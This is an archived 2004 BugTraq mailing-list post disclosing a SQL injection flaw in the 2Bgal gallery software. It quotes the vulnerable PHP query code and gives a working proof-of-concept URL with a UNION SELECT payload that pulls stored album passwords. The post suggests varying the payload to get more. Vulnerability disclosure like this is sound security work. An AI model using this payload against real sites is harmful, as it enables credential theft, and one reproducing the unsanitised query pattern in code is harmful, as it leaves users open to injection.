BugTraq Mailing List Archive

From: zib zib (zibelette@aol.com)
Date: Wed Dec 22 2004 - 02:49:19 EST

• Next message: Nick Johnson: "Re: WebWorm using PHPBB vulnerability in the wild!"
• Previous message: James Bandara: "Security Advisory for ALL forum services with client-set images"

----------------------------------------------------------------------
Vulnerable code (disp_album.php(~53) and maybe disp_img.php)
----------------------------------------------------------------------
$chaine="SELECT nom,idpere FROM ".$tbl_alist." WHERE id=".$id_album;
$request = MYSQL_QUERY($chaine);
$nom_currentalbum = mysql_result($request,0,"nom");
$idpere_currentalbum = mysql_result($request,0,"idpere");

----------------------------------------------------------------------
Proof of concept (2Bgal with MySQL 4.x.x):
----------------------------------------------------------------------
http://www.server.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%20passwd%20as%20nom,%20idpere%20FROM%20galbumlist%20LIMIT%201; --

This code allows you to get password for the first album.
You can play with SQL injection code to get others passwords.

----------------------------------------------------------------------
Version
----------------------------------------------------------------------
2Bgal 2.5.1
2Bgal 2.4 (seems to be affected too)
others not tested

----------------------------------------------------------------------
Discovered by Romain Le Guen:
http://coding.romainl.com
contact @AT@ romainl.com

• Next message: Nick Johnson: "Re: WebWorm using PHPBB vulnerability in the wild!"
• Previous message: James Bandara: "Security Advisory for ALL forum services with client-set images"